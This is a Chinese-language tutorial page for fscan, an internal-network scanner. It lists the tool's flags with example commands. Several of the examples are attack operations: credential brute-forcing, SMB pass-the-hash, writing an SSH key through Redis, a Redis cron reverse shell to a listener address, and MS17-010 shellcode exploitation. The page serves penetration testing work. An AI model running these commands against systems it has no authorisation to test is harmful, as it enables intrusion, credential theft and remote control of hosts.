简介

Fscan一款内网综合扫描工具,方便一键自动化、全方位漏洞扫描。支持主机存活探测、端口扫描、常见服务的爆破、MS17010、Redis批量写公钥、计划任务反弹Shell、读取Win网卡信息、Web指纹识别、Web漏洞扫描、NetBios探测、域控识别等功能

仓库地址:https://github.com/shadow1ng/fscan

使用教程

./fscan -h 192.168.1.1/24 -p 22,80,3306,6379,9200 -o result.txt

参数说明

参数说明示例
-h指定目标主机或 IP 范围,支持单个 IP、IP 段、CIDR 格式-h 192.168.1.1/24
-f从文件读取目标列表-f ip.txt
-p指定端口,多个端口用逗号分隔-p 80,443,3389
-noping不进行 ping 探测,直接扫描主机-noping
-s启用端口指纹识别(服务 banner)-s
-http启用 Web 指纹识别(CMS、标题、响应)-http
-vul扫描常见漏洞-vul
-m指定爆破模块,支持 ssh、ftp、mysql、mssql、rdp 等-m ssh,mysql
-user指定爆破使用的用户名(可配合爆破模块使用)-user admin
-pwd指定爆破使用的密码(或配合弱口令扫描)-pwd 123456
-t设置扫描线程数,默认100-t 1000
-time设置网络超时时间(单位:秒)-time 3
-o指定扫描结果输出文件-o result.txt

综合使用

参数参数所属大类说明示例
-h目标指定指定目标 IP,支持单IP、段、CIDRfscan.exe -h 192.168.1.1/24
-hf目标指定从文件读取目标列表fscan.exe -hf ip.txt
-hn目标指定排除某些主机或网段fscan.exe -h 192.168.1.1/24 -hn 192.168.1.5
-np扫描控制不进行存活检测(跳过 ping)fscan.exe -h 192.168.1.1/24 -np
-t性能设置设置线程数(默认600)fscan.exe -h 192.168.1.1/24 -t 1000
-time性能设置设置超时时间(秒)fscan.exe -h 192.168.1.1/24 -time 5
-pa端口设置追加端口扫描fscan.exe -h 192.168.1.1/24 -pa 3389
-pn端口设置排除端口fscan.exe -h 192.168.1.1/24 -pn 445
-m模块选择指定扫描模块(如 ssh、mysql、smb)fscan.exe -h 192.168.1.1/24 -m ssh
-p端口设置指定端口fscan.exe -h 192.168.1.1/24 -m ssh -p 2222
-user爆破参数指定用户名fscan.exe -h 192.168.1.1/24 -user admin
-pwd爆破参数指定密码fscan.exe -h 192.168.1.1/24 -pwd 123456
-userf爆破参数从文件读取用户名fscan.exe -h 192.168.1.1/24 -userf users.txt
-pwdf爆破参数从文件读取密码fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt
-usera爆破参数添加默认用户名fscan.exe -h 192.168.1.1/24 -usera root
-pwda爆破参数添加默认密码fscan.exe -h 192.168.1.1/24 -pwda 123456
-nobr扫描控制禁止密码爆破fscan.exe -h 192.168.1.1/24 -nobr
-br爆破参数爆破线程数fscan.exe -h 192.168.1.1/24 -br 10
-hash爆破参数NTLM hash 用于 SMB PTH 攻击fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxx
-nopoc扫描控制禁用 Web 漏洞 POC 扫描fscan.exe -h 192.168.1.1/24 -nopoc
-pocname漏洞扫描指定包含关键词的 POCfscan.exe -h 192.168.1.1/24 -pocname weblogic
-pocpath漏洞扫描指定 POC 文件路径fscan.exe -h 192.168.1.1/24 -pocpath ./pocs
-full漏洞扫描全部内置 POC 扫描fscan.exe -h 192.168.1.1/24 -full
-cookie漏洞扫描设置漏洞扫描 Cookiefscan.exe -h 192.168.1.1/24 -cookie rememberMe=1
-proxy网络代理设置 HTTP 代理fscan.exe -h 192.168.1.1/24 -proxy http://127.0.0.1:8080
-dns漏洞扫描使用 DNSLOG 类型 POCfscan.exe -h 192.168.1.1/24 -dns
-rf利用模块Redis 写 SSH 公钥fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub
-rs利用模块Redis 写入计划任务反弹 Shellfscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666
-c利用模块爆破成功后执行命令(SSH/WMI)fscan.exe -h 192.168.1.1/24 -m ssh -c whoami
-sc利用模块ms17010 相关 shellcode利用fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add
-wmi利用模块启动 WMI 扫描fscan.exe -h 192.168.1.1/24 -wmi
-u目标指定扫描单个 URLfscan.exe -u http://example.com
-uf目标指定从文件读取 URL 列表fscan.exe -uf urls.txt
-socks5网络代理设置 SOCKS5 代理fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
-o输出控制指定输出文件路径fscan.exe -h 192.168.1.1/24 -o result.txt
-json输出控制JSON 格式输出fscan.exe -h 192.168.1.1/24 -json
-nocolor输出控制关闭彩色输出fscan.exe -h 192.168.1.1/24 -nocolor

组合实战示例


快速扫描+弱口令+输出结果

fscan.exe -h 192.168.1.1/24 -pwd -o result.txt

Redis反弹Shell

fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666

Socks5代理支持扫描

fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注